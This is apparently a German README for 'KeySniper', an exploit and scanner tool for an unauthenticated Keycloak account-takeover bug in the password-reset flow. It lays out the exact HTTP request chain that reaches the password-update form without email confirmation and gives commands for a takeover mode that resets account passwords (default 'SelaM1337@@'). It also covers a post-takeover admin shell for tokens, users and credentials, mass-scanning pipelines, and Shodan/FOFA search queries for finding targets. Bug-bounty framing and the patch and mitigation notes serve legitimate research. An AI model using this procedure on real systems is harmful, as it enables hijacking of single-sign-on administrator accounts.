
**CVE-2026-18963** — nicht authentifizierte Übernahme von Keycloak-Konten über den Reset-Credentials-Ablauf.

Autor: Mitsec — x.com/ynsmroztas
CVE-2026-18963 — nicht authentifizierte Keycloak-Kontoübernahme über den Reset-Credentials-Ablauf.
KeySniper ist ein produktionsorientierter Scanner für In-Scope-Bug-Bounty- und autorisierte Assessments: Live-Radar-Ausgabe, Realm-Erkennung, Erkennung vs. Übernahme, interaktive Post-ATO-Shell und stdin-Pipeline (subfinder → httpx → KeySniper).
Der Standardmodus ist detect (--takeover 0). --takeover 1 ändert das Kontopasswort auf dem Ziel.
| Feld | Wert |
|---|---|
| CVE | CVE-2026-18963 |
| CWE | CWE-640 — Schwacher Mechanismus zur Passwortwiederherstellung |
| CVSS | 9.1 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N) |
| Produkt | Keycloak / Red Hat SSO |
| Behoben in | 26.7.2, 26.6.6, 26.4.15 |
| Auth | Keine |
Zwei Fehler werden verkettet:
tryAnotherWay speichert eine generische "true"-Selektor-Notiz, die nicht auf die Ausführungs-ID begrenzt ist.ResetCredentialEmail.action() ruft context.success() ohne Überprüfung von ACTION_TOKEN_USER_ID auf.Ergebnis: Ein nicht authentifizierter Aufrufer kann den Passwort-Reset-Ablauf für einen bekannten Benutzernamen erzwingen und landet auf UPDATE_PASSWORD, ohne auf den E-Mail-Link zu klicken.
Der Scan ist nicht „Passwort vergessen existiert“. Die Bestätigung ist:
execution=-UUID ändert sich (E-Mail-Ausführung wird geleakt)kc-passwd-update-formexec3 = 28e2cd30-… (erster Selektor)
exec6 = 8fd21174-… (Pivot-GET)
UPDATE_PASSWORD
[radar]-Log (Location, JS, Header, Realm-Probe)302 Location + HTML/JS + well-known + Wortliste/auth-Präfix-Autoerkennunghttpx / subfinder--takeover 0 nur Erkennung--takeover 1 Passwort setzen (Standard SelaM1337@@)--shell interaktive Token-/Admin-API-Hilfe nach ATOVULN / ATO rot, SAFE grün, SKIP gelbpython3 -m venv .venv
source .venv/bin/activate
pip install requests
chmod +x KeySniper.py
Python 3.9+.
# Erkennung (keine Passwortänderung)
python3 KeySniper.py -u https://sso.example.com --takeover 0
# Übernahme + interaktive Shell
python3 KeySniper.py -u https://sso.example.com --takeover 1 --shell
# Realm / Benutzer
python3 KeySniper.py -u https://sso.example.com -r master -U admin --takeover 0
# Pipeline
subfinder -d example.com -silent \
| httpx -silent -mc 200,302,401 \
| python3 KeySniper.py --takeover 0 -t 4
# Listendatei
python3 KeySniper.py -l urls.txt --takeover 0 -q
Übergeben Sie nicht --takeover 1 oder --shell bei einem Pipeline-Dump.
[1] GET /realms/{realm}/protocol/openid-connect/auth?client_id=account
→ forgot-password href (reset-credentials)
[2] GET reset-credentials
→ kc-reset-password-form
[3] POST tryAnotherWay=on
→ kc-select-credential-form
[4] POST username=<benutzer>
[5] GET startSessionPolling / restart (falls vorhanden)
[6] GET ursprüngliche reset-credentials-URL (Pivot)
→ Selektor-Neu-Rendering + neue execution=
[7] POST veralteter Selektor (kein Action-Token)
→ kc-passwd-update-form
[8] POST password-new / password-confirm (nur wenn --takeover 1)
→ HTTP 302 + code= ⇒ ATO
[VULN] https://sso.example.com realm=master user=admin ver=26.7.1
confirm exec3=...
confirm exec6=...
confirm kc-passwd-update-form
[ATO] https://sso.example.com realm=master user=admin pass=********
[SAFE] https://idp.example.com reset-open gepatcht
[SKIP] https://www.example.com not-keycloak
leak-no-update wird nicht als VULN gezählt.
Öffnet nur nach [ATO] bei einem einzelnen Ziel:
[email protected] ▶ token
[email protected] ▶ whoami
[email protected] ▶ realms
[email protected] ▶ users
[email protected] ▶ user admin
[email protected] ▶ get master
[email protected] ▶ creds
[email protected] ▶ exit
Verwendet den Resource-Owner-Password-Grant (admin-cli, dann account).
HTTP 403 auf /admin/realms bedeutet, dass Direct Access Grants / die Admin-Rolle eingeschränkt sind — ATO kann trotzdem gültig sein.
/realms/master dann /auth/realms/masterLocation, HTML, JS, "realm":, Issuer sammeln/realms/{name} 200 + Keycloak-Body zurückgibt/realms/master
/realms/master/.well-known/openid-configuration
/admin/
Shodan / FOFA (Programm-Scope):
http.title:"Sign in to"
http.html:"/realms/master"
http.html:"keycloak"
ssl.cert.subject.CN:"example.com" http.html:"/realms/"
title="Keycloak" && host="example.com"
cert="example.com" && body="/realms/master"
/ wird ignoriert, es sei denn, der Body enthält issuer / public_key / login-actionsSKIP (Realm hat Reset deaktiviert)kc-passwd-update-form → SKIPhttpx-Pfade werden auf den Ursprung reduziert (/auth bleibt erhalten)Keycloak < 26.7.2 (auch 26.6.x < 26.6.6, 26.4.x < 26.4.15).
Mitigation: Passwort vergessen in jedem Realm deaktivieren, dann upgraden.
Der Screenshot in diesem Repository ist geschwärzt (sso.lab.local-Platzhalter). Tokens, Passwörter, E-Mails und echte Hosts werden nicht veröffentlicht.
Mitsec
X: x.com/ynsmroztas
Forschungsnutzung auf In-Scope-autorisierten Zielen. Lassen Sie --takeover 1 bei Nicht-Scope-Hosts ausgeschaltet.
| Flag | Standard | Bedeutung |
|---|
-u URL | — | Einzelnes Ziel |
-l DATEI | — | URL-Liste |
| stdin | auto | httpx-Zeilen (erstes Feld = URL) |
--takeover 0|1 | 0 | Erkennung vs. Passwort ändern |
-U BENUTZER | admin | Zielbenutzername |
-r REALM | auto | Realm erzwingen oder erkennen |
--pass | SelaM1337@@ | Neues Passwort, wenn takeover=1 |
-t N | 4 | Pipeline-Threads |
-q | aus | Nur Ergebnisse |
--shell | aus | Post-ATO-Shell (einzelnes Ziel) |
| Status | Bedeutung |
|---|
VULN | Pivot + UPDATE_PASSWORD (Passwort nicht geändert) |
ATO | Schritt 8 erfolgreich |
SAFE | Reset offen, kein veralteter Selektor (gepatcht) |
SKIP | Kein Keycloak / Reset deaktiviert / Leak ohne UPDATE-Formular |
FAIL | Netzwerk / unerwartete Ausnahme |